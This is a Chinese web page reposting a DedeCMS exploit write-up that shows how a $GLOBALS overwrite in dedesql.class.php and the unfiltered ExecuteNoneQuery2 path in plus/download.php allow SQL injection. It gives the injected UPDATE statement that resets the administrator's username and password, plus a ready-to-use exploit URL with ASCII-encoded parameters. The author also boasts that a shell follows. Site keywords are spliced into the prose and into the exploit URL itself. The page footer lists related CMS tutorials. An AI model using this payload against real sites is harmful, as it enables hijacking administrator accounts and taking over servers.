dedecms教程:織夢(mèng)最新版本修改任意管理員漏洞
導(dǎo)讀:DEDE技術(shù)DEDE技術(shù)此漏洞無(wú)視gpc轉(zhuǎn)義,過(guò)80sec注入防御。補(bǔ)充下,不用擔(dān)心后臺(tái)找不到。這只是一個(gè)demo,都能修改任意數(shù)據(jù)庫(kù)了,還怕拿不到SHELL?起因是全局變量$GLOBdede會(huì)員中心模板dede手機(jī)模板。
此漏洞無(wú)視gpc轉(zhuǎn)義,過(guò)80sec注入防御。
補(bǔ)充下,不用織夢(mèng)模板擔(dān)心后臺(tái)找不到。這只是一個(gè)demo,都能修改任意數(shù)據(jù)庫(kù)了,還怕拿不到SHELL?
起因是全局變量$GLOBALS可以被任意修改,隨便看了下,漏洞一堆,我只找了一處。
include/dedesql.class.php
if(isset($GLOBALS['arrs1'])) { $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解碼ascii } $GLOBALS[$v1] .= $v2; //注意這里不是覆蓋,是+ } function SetQuery($sql) { $prefix="zmb_"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到這里無(wú)話可說(shuō),不明白為什么要這樣做。 $this->queryString = $sql; }另外說(shuō)下繞過(guò)80sec防注入的方法。同一文件中,有兩個(gè)執(zhí)行SQL的函數(shù)。ExecuteNoneQuery和ExecuteNoneQuery2而用ExecuteNoneQuery2執(zhí)行SQL并沒(méi)有防注入,于是隨便找個(gè)用ExecuteNoneQuery2執(zhí)行的文件。
plus/download.php
else if($open==1) { $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link); //這里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `dede_downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `dede_downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location:$link"); exit(); }構(gòu)造SQL語(yǔ)句 (提交的時(shí)候用ascii加密,程序會(huì)幫我們自動(dòng)解密的,所以無(wú)視gpc):
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL語(yǔ)句:
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash'EXP:
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=dede手機(jī)模板51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35關(guān)鍵詞標(biāo)簽: 織夢(mèng) 漏洞 最新版本
聲明: 本文由我的SEOUC技術(shù)文章主頁(yè)發(fā)布于:2023-07-20 ,文章dedecms教程:織夢(mèng)最新版本修改任意管理員漏洞主要講述最新版本,漏洞,織夢(mèng)網(wǎng)站建設(shè)源碼以及服務(wù)器配置搭建相關(guān)技術(shù)文章。轉(zhuǎn)載請(qǐng)保留鏈接: http://www.bifwcx.com/article/web_31850.html
為你推薦與dedecms教程:織夢(mèng)最新版本修改任意管理員漏洞相關(guān)的文章
-
DedeCMS站點(diǎn)高級(jí)安全策略(Linux篇),織夢(mèng)教程
(105)人喜歡 2023-07-20 -
織夢(mèng)DEDECMS中讓近三天發(fā)布的文章顯示紅色
(194)人喜歡 2023-07-20 -
dedecms網(wǎng)站搬家需要的備份的文件,dedecms
(51)人喜歡 2023-07-20 -
織夢(mèng)(dedecms)導(dǎo)航條dropdown.js的改進(jìn)(附演示
(98)人喜歡 2023-07-20 -
解決Dedecms生成RSS地圖地址出錯(cuò)全都多了一
(139)人喜歡 2023-07-20 -
dede調(diào)用指定欄目下相關(guān)文章的實(shí)現(xiàn)方法
(123)人喜歡 2023-07-20

目錄導(dǎo)航
熱門(mén)搜索標(biāo)簽 TAG全部標(biāo)簽
最新熱門(mén)源碼技術(shù)文章
-
DedeCMS站點(diǎn)高級(jí)安全策略(Linux篇)
織夢(mèng)教程點(diǎn)評(píng):本篇將在之前的基礎(chǔ)上進(jìn)一步來(lái)對(duì)Linux下的Dede -
織夢(mèng)(dedecms)導(dǎo)航條dropdown.js的改進(jìn)
dedecms可以設(shè)置一個(gè)一直都顯示的二級(jí)菜單,修復(fù)了沒(méi)有二級(jí)菜單 -
dede調(diào)用指定欄目下相關(guān)文章的實(shí)
DEDE技術(shù)點(diǎn)評(píng) :根據(jù)關(guān)鍵字來(lái)相關(guān)文章,就用戶體驗(yàn)以及SEO來(lái)說(shuō) -
DEDE熱門(mén)tag,DEDE首頁(yè)digg,DEDE隨機(jī)熱門(mén)
織夢(mèng)教程點(diǎn)評(píng) :DEDE中熱門(mén)tag,DEDE首頁(yè)digg,DEDE隨機(jī)熱門(mén)關(guān)鍵字調(diào)用 -
織夢(mèng)cms文章內(nèi)容頁(yè)分頁(yè)太多,頁(yè)碼
織夢(mèng)教程織夢(mèng)cms文章內(nèi)容頁(yè)分頁(yè)太多,導(dǎo)致內(nèi)容分頁(yè)頁(yè)碼全部顯